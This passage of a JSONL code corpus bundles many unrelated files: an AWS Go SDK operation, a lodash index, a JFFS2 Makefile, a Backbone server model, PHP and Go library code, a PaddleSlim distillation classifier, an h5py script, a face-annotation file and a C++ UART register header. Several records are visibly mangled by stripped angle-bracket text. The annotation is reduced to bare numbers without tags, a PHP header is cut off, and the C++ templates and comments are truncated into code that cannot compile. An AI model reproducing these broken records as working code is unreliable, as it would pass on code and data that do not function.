{\n\t\tfn(&options)\n\t}\n\taddawsRestjson1_serdeOpDescribeProjectMiddlewares(stack)\n\tawsmiddleware.AddRequestInvocationIDMiddleware(stack)\n\tsmithyhttp.AddContentLengthMiddleware(stack)\n\tAddResolveEndpointMiddleware(stack, options)\n\tv4.AddComputePayloadSHA256Middleware(stack)\n\tretry.AddRetryMiddlewares(stack, options)\n\taddHTTPSignerV4Middleware(stack, options)\n\tawsmiddleware.AddAttemptClockSkewMiddleware(stack)\n\taddClientUserAgent(stack)\n\tsmithyhttp.AddErrorCloseResponseBodyMiddleware(stack)\n\tsmithyhttp.AddCloseResponseBodyMiddleware(stack)\n\taddOpDescribeProjectValidationMiddleware(stack)\n\tstack.Initialize.Add(newServiceMetadataMiddleware_opDescribeProject(options.Region), middleware.Before)\n\taddRequestIDRetrieverMiddleware(stack)\n\taddResponseErrorMiddleware(stack)\n\n\tfor _, fn := range options.APIOptions {\n\t\tif err := fn(stack); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\thandler := middleware.DecorateHandler(smithyhttp.NewClientHandler(options.HTTPClient), stack)\n\tresult, metadata, err := handler.Handle(ctx, params)\n\tif err != nil {\n\t\treturn nil, &smithy.OperationError{\n\t\t\tServiceID: ServiceID,\n\t\t\tOperationName: \"DescribeProject\",\n\t\t\tErr: err,\n\t\t}\n\t}\n\tout := result.(*DescribeProjectOutput)\n\tout.ResultMetadata = metadata\n\treturn out, nil\n}\n\ntype DescribeProjectInput struct {\n\t// The name of the project to be described.\n\tProjectName *string\n}\n\ntype DescribeProjectOutput struct {\n\t// An object describing the project.\n\tProject *types.ProjectDescription\n\n\t// Metadata pertaining to the operation's result.\n\tResultMetadata middleware.Metadata\n}\n\nfunc addawsRestjson1_serdeOpDescribeProjectMiddlewares(stack *middleware.Stack) {\n\tstack.Serialize.Add(&awsRestjson1_serializeOpDescribeProject{}, middleware.After)\n\tstack.Deserialize.Add(&awsRestjson1_deserializeOpDescribeProject{}, middleware.After)\n}\n\nfunc newServiceMetadataMiddleware_opDescribeProject(region string) awsmiddleware.RegisterServiceMetadata {\n\treturn awsmiddleware.RegisterServiceMetadata{\n\t\tRegion: region,\n\t\tServiceID: ServiceID,\n\t\tSigningName: \"iot1click\",\n\t\tOperationName: \"DescribeProject\",\n\t}\n}\n"} +{"text": "module.exports = {\n 'add': require('./add'),\n 'ceil': require('./ceil'),\n 'divide': require('./divide'),\n 'floor': require('./floor'),\n 'max': require('./max'),\n 'maxBy': require('./maxBy'),\n 'mean': require('./mean'),\n 'meanBy': require('./meanBy'),\n 'min': require('./min'),\n 'minBy': require('./minBy'),\n 'multiply': require('./multiply'),\n 'round': require('./round'),\n 'subtract': require('./subtract'),\n 'sum': require('./sum'),\n 'sumBy': require('./sumBy')\n};\n"} +{"text": "#\n# Makefile for the Linux Journalling Flash File System v2 (JFFS2)\n#\n#\n\nobj-$(CONFIG_JFFS2_FS) += jffs2.o\n\njffs2-y\t:= compr.o dir.o file.o ioctl.o nodelist.o malloc.o\njffs2-y\t+= read.o nodemgmt.o readinode.o write.o scan.o gc.o\njffs2-y\t+= symlink.o build.o erase.o background.o fs.o writev.o\njffs2-y\t+= super.o debug.o\n\njffs2-$(CONFIG_JFFS2_FS_WRITEBUFFER)\t+= wbuf.o\njffs2-$(CONFIG_JFFS2_FS_XATTR)\t\t+= xattr.o xattr_trusted.o xattr_user.o\njffs2-$(CONFIG_JFFS2_FS_SECURITY)\t+= security.o\njffs2-$(CONFIG_JFFS2_FS_POSIX_ACL)\t+= acl.o\njffs2-$(CONFIG_JFFS2_RUBIN)\t+= compr_rubin.o\njffs2-$(CONFIG_JFFS2_RTIME)\t+= compr_rtime.o\njffs2-$(CONFIG_JFFS2_ZLIB)\t+= compr_zlib.o\njffs2-$(CONFIG_JFFS2_LZO)\t+= compr_lzo.o\njffs2-$(CONFIG_JFFS2_SUMMARY) += summary.o\n"} +{"text": "{\n \"frameworks\": {\n \"dnx451\": { }\n },\n \"dependencies\": {\n \"Contentful.NET\": \"0.0.5-Alpha\"\n }\n}\n"} +{"text": "module Wukong\n module Streamer\n #\n # Roll up all records from a given key into a single list.\n #\n class ListReducer < Wukong::Streamer::AccumulatingReducer\n attr_accessor :values\n\n # start with an empty list\n def start! *args\n @values = []\n end\n\n # aggregate all records.\n # note that this accumulates the full *record* -- key, value, everything.\n def accumulate *record\n @values << record\n end\n\n # emit the key and all records, tab-separated\n #\n # you will almost certainly want to override this method to do something\n # interesting with the values (or override accumulate to gather scalar\n # values)\n #\n def finalize\n yield [key, @values.to_flat.join(\";\")].flatten\n end\n end\n end\nend\n"} +{"text": "define([\n 'jquery',\n 'underscore',\n 'backbone'\n], function($, _, Backbone) {\n 'use strict';\n var ServerModel = Backbone.Model.extend({\n defaults: {\n 'id': null,\n 'name': null,\n 'status': null,\n 'uptime': null,\n 'users_online': null,\n 'devices_online': null,\n 'user_count': null,\n 'network': null,\n 'network_wg': null,\n 'groups': null,\n 'bind_address': null,\n 'port': null,\n 'port_wg': null,\n 'protocol': null,\n 'dh_param_bits': null,\n 'ipv6': null,\n 'ipv6_firewall': null,\n 'network_mode': null,\n 'network_start': null,\n 'network_end': null,\n 'restrict_routes': null,\n 'wg': null,\n 'multi_device': null,\n 'dns_servers': null,\n 'search_domain': null,\n 'otp_auth': null,\n 'cipher': null,\n 'hash': null,\n 'block_outside_dns': null,\n 'jumbo_frames': null,\n 'lzo_compression': null,\n 'inter_client': null,\n 'ping_interval': null,\n 'ping_timeout': null,\n 'link_ping_interval': null,\n 'link_ping_timeout': null,\n 'inactive_timeout': null,\n 'session_timeout': null,\n 'allowed_devices': null,\n 'max_clients': null,\n 'max_devices': null,\n 'replica_count': null,\n 'vxlan': null,\n 'dns_mapping': null,\n 'debug': null,\n 'pre_connect_msg': null,\n 'mss_fix': null\n },\n url: function() {\n var url = '/server';\n\n if (this.get('id')) {\n url += '/' + this.get('id');\n\n if (this.get('operation')) {\n url += '/operation/' + this.get('operation');\n }\n }\n\n return url;\n }\n });\n\n return ServerModel;\n});\n"} +{"text": "---\nlayout: \"svg_wrapper\"\ntitle: \"Inheritance Graph for UTF16\"\ntypename: \"UTF16\"\n---\n\n"} +{"text": "\n *\n * For the full copyright and license information, please view the LICENSE\n * file that was distributed with this source code.\n */\n\nnamespace Symfony\\Component\\Mime\\Encoder;\n\n/**\n * @author Fabien Potencier \n *\n * @experimental in 4.3\n */\nfinal class EightBitContentEncoder implements ContentEncoderInterface\n{\n public function encodeByteStream($stream, int $maxLineLength = 0): iterable\n {\n while (!feof($stream)) {\n yield fread($stream, 16372);\n }\n }\n\n public function getName(): string\n {\n return '8bit';\n }\n\n public function encodeString(string $string, ?string $charset = 'utf-8', int $firstLineOffset = 0, int $maxLineLength = 0): string\n {\n return $string;\n }\n}\n"} +{"text": "[\n {\n \"github_username\": \"luisalima\",\n \"name\": \"Luisa Lima\",\n \"link_text\": null,\n \"link_url\": null,\n \"avatar_url\": null,\n \"bio\": \"I started working with Ruby 6 years ago and immediately fell in <3 with its elegance and expressiveness. However, one of the things that (still) appeals to me the most is the incredibly savvy, creative and welcoming community behind it. I'm grateful for the opportunity to be a part of it via this amazing project!\"\n },\n {\n \"github_username\": \"lastgabs\",\n \"name\": \"Gabi Stefanini\",\n \"link_text\": null,\n \"link_url\": null,\n \"avatar_url\": null,\n \"bio\": \"I'm a production engineer/dev ops who has been working with Ruby applications for the last 2 years and I love it <3\"\n }\n]\n"} +{"text": "package pdf\n\nimport (\n\t\"fmt\"\n\t\"math\"\n\t\"strings\"\n\n\t\"github.com/tdewolff/canvas\"\n\t\"github.com/tdewolff/minify/v2\"\n)\n\nconst ptPerMm = 72 / 25.4\n\n////////////////////////////////////////////////////////////////\n\nfunc float64sEqual(a, b []float64) bool {\n\tif len(a) != len(b) {\n\t\treturn false\n\t}\n\tfor i, f := range a {\n\t\tif f != b[i] {\n\t\t\treturn false\n\t\t}\n\t}\n\treturn true\n}\n\ntype dec float64\n\nfunc (f dec) String() string {\n\ts := fmt.Sprintf(\"%.*f\", canvas.Precision, f)\n\ts = string(minify.Decimal([]byte(s), canvas.Precision))\n\tif dec(math.MaxInt32) < f || f < dec(math.MinInt32) {\n\t\tif i := strings.IndexByte(s, '.'); i == -1 {\n\t\t\ts += \".0\"\n\t\t}\n\t}\n\treturn s\n}\n"} +{"text": "'use strict';\n/*jshint asi: true */\n\n\nvar debug //= true;\nvar test = debug ? function () {} : require('tap').test\nvar test_ = !debug ? function () {} : require('tap').test\n\nvar wire = require('../../lib/wire')\nvar findexquire = require('../../lib/findexquire')\n// process.env.REPLPAD_DEBUG = true;\n\nvar sourcemap = require('escodegen/node_modules/source-map')\n\ntest('\\nwhen I findexquire escodegen', function (t) {\n t.plan(4)\n var req = findexquire(__filename, true)\n var escodegen = req('escodegen')\n\n var locs = findexquire.find(escodegen.generate);\n t.equal(locs.length, 0, 'does not find escodegen.generate right away')\n\n wire.on('findex-first-pass', onfirstpass);\n wire.on('findex-second-pass', onsecondpass);\n\n function onfirstpass() {\n var generateLocs = findexquire.find(escodegen.generate);\n var consumerLocs = findexquire.find(sourcemap.SourceMapConsumer);\n\n t.equal(generateLocs.length, 1, 'finds escodegen.generate after first pass')\n t.notOk(consumerLocs, 'does not find sourcemap.SourceMapConsumer yet')\n }\n\n function onsecondpass () {\n var consumerLocs = findexquire.find(sourcemap.SourceMapConsumer);\n t.equal(consumerLocs.length, 1, 'finds sourcemap.SourceMapConsumer after second pass')\n }\n})\n\ntest('\\nfindexquire resolve', function (t) {\n var cardinal = findexquire(__filename).resolve('cardinal');\n t.equal(cardinal, require.resolve('cardinal'), 'correctly resolves installed module')\n\n var repreprep = findexquire(__filename).resolve('../../repreprep');\n t.equal(repreprep, require.resolve('../../repreprep'), 'correclty resolves relative module')\n\n t.end(); \n})\n"} +{"text": "\n\nwiderface\n47--Matador_Bullfighter_47_Matador_Bullfighter_matadorbullfighting_47_719.jpg\n\nwider face Database\nPASCAL VOC2007\nflickr\n-1\n\n\nyanyu\nyanyu\n\n\n1024\n681\n3\n\n0\n\nface\nUnspecified\n1\n0\n\n466\n124\n552\n238\n\n\n495.562\n178.344\n530.781\n174.75\n523.594\n189.844\n507.781\n215.0\n532.938\n212.125\n0\n0.88\n\n1\n\n\n"} +{"text": "\n* @copyright 2016 Microsoft Corporation\n* @license https://opensource.org/licenses/MIT MIT License\n* @version GIT: 0.1.0\n* @link https://graph.microsoft.io/\n*/\nnamespace Microsoft\\Graph\\Model;\n\n/**\n* Calendar class\n*\n* @category Model\n* @package Microsoft.Graph\n* @author Caitlin Bales \n* @copyright 2016 Microsoft Corporation\n* @license https://opensource.org/licenses/MIT MIT License\n* @version Release: 0.1.0\n* @link https://graph.microsoft.io/\n*/\nclass Calendar\n{\n /**\n * The array of properties available\n * to the model\n *\n * @var array(string => string)\n */\n private $_propDict;\n /**\n * Construct a new Calendar\n *\n * @param array $propDict A list of properties to set\n */\n function __construct($propDict = array())\n {\n $this->_propDict = $propDict;\n }\n\n /**\n * Gets the property dictionary of the Calendar\n *\n * @return array The list of properties\n */\n public function getProperties()\n {\n return $this->_propDict;\n }\n\n /**\n * Gets the name\n *\n * @return string The name\n */\n public function getName()\n {\n if (array_key_exists(\"name\", $this->_propDict)) {\n return $this->_propDict[\"name\"];\n } else {\n return null;\n }\n }\n\n /**\n * Sets the name\n *\n * @param string $val The name\n *\n * @return null\n */\n public function setName($val)\n {\n $this->propDict[\"name\"] = $val;\n }\n\n /**\n * Gets the color\n *\n * @return CalendarColor The color\n */\n public function getColor()\n {\n if (array_key_exists(\"color\", $this->_propDict)) {\n if (is_a($this->_propDict[\"color\"], 'CalendarColor')) {\n return $this->_propDict[\"color\"];\n } else {\n $this->_propDict[\"color\"] = new CalendarColor($this->_propDict[\"color\"]);\n return $this->_propDict[\"color\"];\n }\n }\n return null;\n }\n\n /**\n * Sets the color\n *\n * @param string $val The color\n *\n * @return null\n */\n public function setColor($val)\n {\n $this->propDict[\"color\"] = $val;\n }\n\n /**\n * Gets the changeKey\n *\n * @return string The changeKey\n */\n public function getChangeKey()\n {\n if (array_key_exists(\"changeKey\", $this->_propDict)) {\n return $this->_propDict[\"changeKey\"];\n } else {\n return null;\n }\n }\n\n /**\n * Sets the changeKey\n *\n * @param string $val The changeKey\n *\n * @return null\n */\n public function setChangeKey($val)\n {\n $this->propDict[\"changeKey\"] = $val;\n }\n\n /** \n * Gets the events\n *\n * @return EventsCollectionPage The events\n */\n public function getEvents()\n {\n if (array_key_exists(\"events\", $this->_propDict)) {\n return EventsCollectionPage($this->_propDict[\"events\"]);\n } else {\n return null;\n }\n }\n\n\n /** \n * Gets the calendarView\n *\n * @return CalendarViewCollectionPage The calendarView\n */\n public function getCalendarView()\n {\n if (array_key_exists(\"calendarView\", $this->_propDict)) {\n return CalendarViewCollectionPage($this->_propDict[\"calendarView\"]);\n } else {\n return null;\n }\n }\n\n\n /** \n * Gets the singleValueExtendedProperties\n *\n * @return SingleValueExtendedPropertiesCollectionPage The singleValueExtendedProperties\n */\n public function getSingleValueExtendedProperties()\n {\n if (array_key_exists(\"singleValueExtendedProperties\", $this->_propDict)) {\n return SingleValueExtendedPropertiesCollectionPage($this->_propDict[\"singleValueExtendedProperties\"]);\n } else {\n return null;\n }\n }\n\n\n /** \n * Gets the multiValueExtendedProperties\n *\n * @return MultiValueExtendedPropertiesCollectionPage The multiValueExtendedProperties\n */\n public function getMultiValueExtendedProperties()\n {\n if (array_key_exists(\"multiValueExtendedProperties\", $this->_propDict)) {\n return MultiValueExtendedPropertiesCollectionPage($this->_propDict[\"multiValueExtendedProperties\"]);\n } else {\n return null;\n }\n }\n\n}\n"} +{"text": "// Copyright 2014 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n\npackage triegen\n\n// This file defines Compacter and its implementations.\n\nimport \"io\"\n\n// A Compacter generates an alternative, more space-efficient way to store a\n// trie value block. A trie value block holds all possible values for the last\n// byte of a UTF-8 encoded rune. Excluding ASCII characters, a trie value block\n// always has 64 values, as a UTF-8 encoding ends with a byte in [0x80, 0xC0).\ntype Compacter interface {\n\t// Size returns whether the Compacter could encode the given block as well\n\t// as its size in case it can. len(v) is always 64.\n\tSize(v []uint64) (sz int, ok bool)\n\n\t// Store stores the block using the Compacter's compression method.\n\t// It returns a handle with which the block can be retrieved.\n\t// len(v) is always 64.\n\tStore(v []uint64) uint32\n\n\t// Print writes the data structures associated to the given store to w.\n\tPrint(w io.Writer) error\n\n\t// Handler returns the name of a function that gets called during trie\n\t// lookup for blocks generated by the Compacter. The function should be of\n\t// the form func (n uint32, b byte) uint64, where n is the index returned by\n\t// the Compacter's Store method and b is the last byte of the UTF-8\n\t// encoding, where 0x80 <= b < 0xC0, for which to do the lookup in the\n\t// block.\n\tHandler() string\n}\n\n// simpleCompacter is the default Compacter used by builder. It implements a\n// normal trie block.\ntype simpleCompacter builder\n\nfunc (b *simpleCompacter) Size([]uint64) (sz int, ok bool) {\n\treturn blockSize * b.ValueSize, true\n}\n\nfunc (b *simpleCompacter) Store(v []uint64) uint32 {\n\th := uint32(len(b.ValueBlocks) - blockOffset)\n\tb.ValueBlocks = append(b.ValueBlocks, v)\n\treturn h\n}\n\nfunc (b *simpleCompacter) Print(io.Writer) error {\n\t// Structures are printed in print.go.\n\treturn nil\n}\n\nfunc (b *simpleCompacter) Handler() string {\n\tpanic(\"Handler should be special-cased for this Compacter\")\n}\n"} +{"text": "# Copyright (c) 2019 PaddlePaddle Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"BERT fine-tuning in Paddle Dygraph Mode.\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport os\nimport six\nimport sys\nif six.PY2:\n reload(sys)\n sys.setdefaultencoding('utf8')\nimport ast\nimport time\nimport argparse\nimport numpy as np\nimport multiprocessing\nimport paddle\nimport paddle.fluid as fluid\nfrom paddle.fluid.dygraph import to_variable, Layer, Linear\nfrom paddle.fluid.dygraph.base import to_variable\nfrom .reader.cls import *\nfrom .model.bert import BertModelLayer\nfrom .optimization import Optimizer\nfrom .utils.init import init_from_static_model\nfrom paddleslim.teachers.bert import BERTClassifier\n\n__all__ = [\"AdaBERTClassifier\"]\n\n\nclass AdaBERTClassifier(Layer):\n def __init__(self,\n num_labels,\n n_layer=8,\n emb_size=768,\n hidden_size=768,\n gamma=0.8,\n beta=4,\n task_name='mnli',\n conv_type=\"conv_bn\",\n search_layer=False,\n teacher_model=None,\n data_dir=None,\n use_fixed_gumbel=False,\n gumbel_alphas=None,\n fix_emb=False,\n t=5.0):\n super(AdaBERTClassifier, self).__init__()\n self._n_layer = n_layer\n self._num_labels = num_labels\n self._emb_size = emb_size\n self._hidden_size = hidden_size\n self._gamma = gamma\n self._beta = beta\n self._conv_type = conv_type\n self._search_layer = search_layer\n self._teacher_model = teacher_model\n self._data_dir = data_dir\n self.use_fixed_gumbel = use_fixed_gumbel\n\n self.T = t\n print(\n \"----------------------load teacher model and test----------------------------------------\"\n )\n self.teacher = BERTClassifier(\n num_labels, task_name=task_name, model_path=self._teacher_model)\n # global setting, will be overwritten when training(about 1% acc loss)\n self.teacher.eval()\n self.teacher.test(self._data_dir)\n print(\n \"----------------------finish load teacher model and test----------------------------------------\"\n )\n self.student = BertModelLayer(\n num_labels=num_labels,\n n_layer=self._n_layer,\n emb_size=self._emb_size,\n hidden_size=self._hidden_size,\n conv_type=self._conv_type,\n search_layer=self._search_layer,\n use_fixed_gumbel=self.use_fixed_gumbel,\n gumbel_alphas=gumbel_alphas)\n\n fix_emb = False\n for s_emb, t_emb in zip(self.student.emb_names(),\n self.teacher.emb_names()):\n t_emb.stop_gradient = True\n if fix_emb:\n s_emb.stop_gradient = True\n print(\n \"Assigning embedding[{}] from teacher to embedding[{}] in student.\".\n format(t_emb.name, s_emb.name))\n fluid.layers.assign(input=t_emb, output=s_emb)\n print(\n \"Assigned embedding[{}] from teacher to embedding[{}] in student.\".\n format(t_emb.name, s_emb.name))\n\n def forward(self, data_ids, epoch):\n return self.student(data_ids, epoch)\n\n def arch_parameters(self):\n return self.student.arch_parameters()\n\n def loss(self, data_ids, epoch):\n labels = data_ids[4]\n\n s_logits = self.student(data_ids, epoch)\n\n t_enc_outputs, t_logits, t_losses, t_accs, _ = self.teacher(data_ids)\n\n #define kd loss\n kd_weights = []\n for i in range(len(s_logits)):\n j = int(np.ceil(i * (float(len(t_logits)) / len(s_logits))))\n kd_weights.append(t_losses[j].numpy())\n\n kd_weights = np.array(kd_weights)\n kd_weights = np.squeeze(kd_weights)\n kd_weights = to_variable(kd_weights)\n kd_weights = fluid.layers.softmax(-kd_weights)\n\n kd_losses = []\n for i in range(len(s_logits)):\n j = int(np.ceil(i * (float(len(t_logits)) / len(s_logits))))\n t_logit = t_logits[j]\n s_logit = s_logits[i]\n t_logit.stop_gradient = True\n t_probs = fluid.layers.softmax(t_logit) # P_j^T\n s_probs = fluid.layers.softmax(s_logit / self.T) #P_j^S\n #kd_loss = -t_probs * fluid.layers.log(s_probs)\n kd_loss = fluid.layers.cross_entropy(\n input=s_probs, label=t_probs, soft_label=True)\n kd_loss = fluid.layers.reduce_mean(kd_loss)\n kd_loss = fluid.layers.scale(kd_loss, scale=kd_weights[i])\n kd_losses.append(kd_loss)\n kd_loss = fluid.layers.sum(kd_losses)\n\n losses = []\n for logit in s_logits:\n ce_loss, probs = fluid.layers.softmax_with_cross_entropy(\n logits=logit, label=labels, return_softmax=True)\n loss = fluid.layers.mean(x=ce_loss)\n losses.append(loss)\n\n num_seqs = fluid.layers.create_tensor(dtype='int64')\n accuracy = fluid.layers.accuracy(\n input=probs, label=labels, total=num_seqs)\n ce_loss = fluid.layers.sum(losses)\n\n total_loss = (1 - self._gamma) * ce_loss + self._gamma * kd_loss\n\n return total_loss, accuracy, ce_loss, kd_loss, s_logits\n"} +{"text": "import numpy as np\r\nimport h5py\r\nimport os\r\n\r\nbu_rcnn_dir = '/data4/tingjia/wt/budata/coco_cor2_all_bu'\r\n#box_dir = '/data4/tingjia/wt/budata/cocobu_box'\r\nbu_list = os.listdir(bu_rcnn_dir)\r\n\r\nfor image in bu_list:\r\n feature = np.load(os.path.join(bu_rcnn_dir, image))\r\n #bbox = np.load(os.path.join(box_dir, image))\r\n image_id = image[:-4]\r\n\r\n with h5py.File('/data4/tingjia/wt/budata/coco_cor2_all_bu.hdf5', 'a') as f:\r\n\r\n image_id_h5py = f.create_group(image_id)\r\n image_id_h5py.create_dataset(\"feature\", data=feature)\r\n #image_id_h5py.create_dataset(\"bbox\", data=bbox)\r\n\r\n"} +{"text": "#pragma once \n#include \nnamespace Kvasir {\n//UART1\n namespace Uart1Rbr{ ///;\n ///The UART1 Receiver Buffer Register contains the oldest received byte in the UART1 RX FIFO.\n constexpr Register::FieldLocation rbr{}; \n ///Reserved, the value read from a reserved bit is not defined.\n constexpr Register::FieldLocation reserved{}; \n }\n namespace Uart1Thr{ ///;\n ///Writing to the UART1 Transmit Holding Register causes the data to be stored in the UART1 transmit FIFO. The byte will be sent when it reaches the bottom of the FIFO and the transmitter is available.\n constexpr Register::FieldLocation thr{}; \n ///Reserved. Read value is undefined, only zero should be written.\n constexpr Register::FieldLocation reserved{}; \n }\n namespace Uart1Dll{ ///;\n ///The UART1 Divisor Latch LSB Register, along with the U1DLM register, determines the baud rate of the UART1.\n constexpr Register::FieldLocation dllsb{}; \n ///Reserved. Read value is undefined, only zero should be written.\n constexpr Register::FieldLocation reserved{}; \n }\n namespace Uart1Dlm{ ///;\n ///The UART1 Divisor Latch MSB Register, along with the U1DLL register, determines the baud rate of the UART1.\n constexpr Register::FieldLocation dlmsb{}; \n ///Reserved. Read value is undefined, only zero should be written.\n constexpr Register::FieldLocation reserved{}; \n }\n namespace Uart1Ier{ ///;\n ///RBR Interrupt Enable. Enables the Receive Data Available interrupt for UART1. It also controls the Character Receive Time-out interrupt.\n enum class RbrieVal {\n disableTheRdaInte=0x00000000, /// rbrie{}; \n namespace RbrieValC{\n constexpr Register::FieldValue disableTheRdaInte{};\n constexpr Register::FieldValue enableTheRdaInter{};\n }\n ///THRE Interrupt Enable. Enables the THRE interrupt for UART1. The status of this interrupt can be read from LSR[5].\n enum class ThreieVal {\n disableTheThreInt=0x00000000, /// threie{}; \n namespace ThreieValC{\n constexpr Register::FieldValue disableTheThreInt{};\n constexpr Register::FieldValue enableTheThreInte{};\n }\n ///RX Line Interrupt Enable. Enables the UART1 RX line status interrupts. The status of this interrupt can be read from LSR[4:1].\n enum class RxieVal {\n disableTheRxLine=0x00000000, /// rxie{}; \n namespace RxieValC{\n constexpr Register::FieldValue disableTheRxLine{};\n constexpr Register::FieldValue enableTheRxLineS{};\n }\n ///Modem Status Interrupt Enable. Enables the modem interrupt. The status of this interrupt can be read from MSR[3:0].\n enum class MsieVal {\n disableTheModemIn=0x00000000, /// msie{}; \n namespace MsieValC{\n constexpr Register::FieldValue disableTheModemIn{};\n constexpr Register::FieldValue enableTheModemInt{};\n }\n ///Reserved, user software should not write ones to reserved bits. The value read from a reserved bit is not defined.\n constexpr Register::FieldLocation reserved{}; \n ///CTS Interrupt Enable. If auto-cts mode is enabled this bit enables/disables the modem status interrupt generation on a CTS1 signal transition. If auto-cts mode is disabled a CTS1 transition will generate an interrupt if Modem Status Interrupt Enable (IER[3]) is set. In normal operation a CTS1 signal transition will generate a Modem Status Interrupt unless the interrupt has been disabled by clearing the IER[3] bit in the IER register. In auto-cts mode a transition on the CTS1 bit will trigger an interrupt only if both the IER[3] and IER[7] bits are set.\n enum class CtsieVal {\n disableTheCtsInte=0x00000000, /// ctsie{}; \n namespace CtsieValC{\n constexpr Register::FieldValue disableTheCtsInte{};\n constexpr Register::FieldValue enableTheCtsInter{};\n }\n ///Enables the end of auto-baud interrupt.\n enum class AbeoieVal {\n disableEndOfAuto=0x00000000, /// abeoie{}; \n namespace AbeoieValC{\n constexpr Register::FieldValue disableEndOfAuto{};\n constexpr Register::FieldValue enableEndOfAutoB{};\n }\n ///Enables the auto-baud time-out interrupt.\n enum class AbtoieVal {\n disableAutoBaudTi=0x00000000, /// abtoie{}; \n namespace AbtoieValC{\n constexpr Register::FieldValue disableAutoBaudTi{};\n constexpr Register::FieldValue enableAutoBaudTim{};\n }\n ///Reserved, user software should not write ones to reserved bits. The value read from a reserved bit is not defined.\n constexpr Register::FieldLocation reserved{}; \n }\n namespace Uart1Iir{ ///;\n ///Interrupt status. Note that IIR[0] is active low. The pending interrupt can be determined by evaluating IIR[3:1].\n enum class IntstatusVal {\n atLeastOneInterru=0x00000000, /// intstatus{}; \n namespace IntstatusValC{\n constexpr Register::FieldValue atLeastOneInterru{};\n constexpr Register::FieldValue noInterruptIsPend{};\n }\n ///Interrupt identification. IER[3:1] identifies an interrupt corresponding to the UART1 Rx or TX FIFO. All other combinations of IER[3:1] not listed below are reserved (100,101,111).\n enum class IntidVal {\n rls=0x00000003, ///<1 - Receive Line Status (RLS).\n rda=0x00000002, ///<2a - Receive Data Available (RDA).\n cti=0x00000006, ///<2b - Character Time-out Indicator (CTI).\n thre=0x00000001, ///<3 - THRE Interrupt.\n modem=0x00000000, ///<4 - Modem Interrupt.\n };\n constexpr Register::FieldLocation intid{}; \n namespace IntidValC{\n constexpr Register::FieldValue rls{};\n constexpr Register::FieldValue rda{};\n constexpr Register::FieldValue cti{};\n constexpr Register::FieldValue thre{};\n constexpr Register::FieldValue modem{};\n }\n ///Reserved, user software should not write ones to reserved bits. The value read from a reserved bit is not defined.\n constexpr Register::FieldLocation reserved{}; \n ///Copies of FCR[0].\n constexpr Register::FieldLocation fifoenable{}; \n ///End of auto-baud interrupt. True if auto-baud has finished successfully and interrupt is enabled.\n constexpr Register::FieldLocation abeoint{}; \n ///Auto-baud time-out interrupt. True if auto-baud has timed out and interrupt is enabled.\n constexpr Register::FieldLocation abtoint{}; \n ///Reserved, the value read from a reserved bit is not defined.\n constexpr Register::FieldLocation reserved{}; \n }\n namespace Uart1Fcr{ ///;\n ///FIFO enable.\n enum class FifoenVal {\n mustNotBeUsedIn=0x00000000, /// fifoen{}; \n namespace FifoenValC{\n constexpr Register::FieldValue mustNotBeUsedIn{};\n constexpr Register::FieldValue activeHighEnableF{};\n }\n ///RX FIFO Reset.\n enum class RxfiforesVal {\n noImpactOnEither=0x00000000, /// rxfifores{}; \n namespace RxfiforesValC{\n constexpr Register::FieldValue noImpactOnEither{};\n constexpr Register::FieldValue writingALogic1To{};\n }\n ///TX FIFO Reset.\n enum class TxfiforesVal {\n noImpactOnEither=0x00000000, /// txfifores{}; \n namespace TxfiforesValC{\n constexpr Register::FieldValue noImpactOnEither{};\n constexpr Register::FieldValue writingALogic1To{};\n }\n ///DMA Mode Select. When the FIFO enable bit (bit 0 of this register) is set, this bit selects the DMA mode. See Section 36.6.6.1.\n constexpr Register::FieldLocation dmamode{}; \n ///Reserved, user software should not write ones to reserved bits. The value read from a reserved bit is not defined.\n constexpr Register::FieldLocation reserved{}; \n ///RX Trigger Level. These two bits determine how many receiver UART1 FIFO characters must be written before an interrupt is activated.\n enum class RxtriglvlVal {\n triggerLevel01C=0x00000000, /// rxtriglvl{}; \n namespace RxtriglvlValC{\n constexpr Register::FieldValue triggerLevel01C{};\n constexpr Register::FieldValue triggerLevel14C{};\n constexpr Register::FieldValue triggerLevel28C{};\n constexpr Register::FieldValue triggerLevel314{};\n }\n ///Reserved, user software should not write ones to reserved bits.\n constexpr Register::FieldLocation reserved{}; \n }\n namespace Uart1Lcr{ ///;\n ///Word Length Select.\n enum class WlsVal {\n v5BitCharacterLeng=0x00000000, ///<5-bit character length.\n v6BitCharacterLeng=0x00000001, ///<6-bit character length.\n v7BitCharacterLeng=0x00000002, ///<7-bit character length.\n v8BitCharacterLeng=0x00000003, ///<8-bit character length.\n };\n constexpr Register::FieldLocation wls{}; \n namespace WlsValC{\n constexpr Register::FieldValue v5BitCharacterLeng{};\n constexpr Register::FieldValue v6BitCharacterLeng{};\n constexpr Register::FieldValue v7BitCharacterLeng{};\n constexpr Register::FieldValue v8BitCharacterLeng{};\n }\n ///Stop Bit Select.\n enum class SbsVal {\n v1StopBit=0x00000000, ///<1 stop bit.\n v2StopBits15If=0x00000001, ///<2 stop bits (1.5 if LCR[1:0]=00).\n };\n constexpr Register::FieldLocation sbs{}; \n namespace SbsValC{\n constexpr Register::FieldValue v1StopBit{};\n constexpr Register::FieldValue v2StopBits15If{};\n }\n ///Parity Enable.\n enum class PeVal {\n disableParityGener=0x00000000, /// pe{}; \n namespace PeValC{\n constexpr Register::FieldValue disableParityGener{};\n constexpr Register::FieldValue enableParityGenera{};\n }\n ///Parity Select.\n enum class PsVal {\n oddParityNumberO=0x00000000, /// ps{}; \n namespace PsValC{\n constexpr Register::FieldValue oddParityNumberO{};\n constexpr Register::FieldValue evenParityNumber{};\n constexpr Register::FieldValue forced1stickPar{};\n constexpr Register::FieldValue forced0stickPar{};\n }\n ///Break Control.\n enum class BcVal {\n disableBreakTransm=0x00000000, /// bc{}; \n namespace BcValC{\n constexpr Register::FieldValue disableBreakTransm{};\n constexpr Register::FieldValue enableBreakTransmi{};\n }\n ///Divisor Latch Access Bit (DLAB)\n enum class DlabVal {\n disableAccessToDi=0x00000000, /// dlab{}; \n 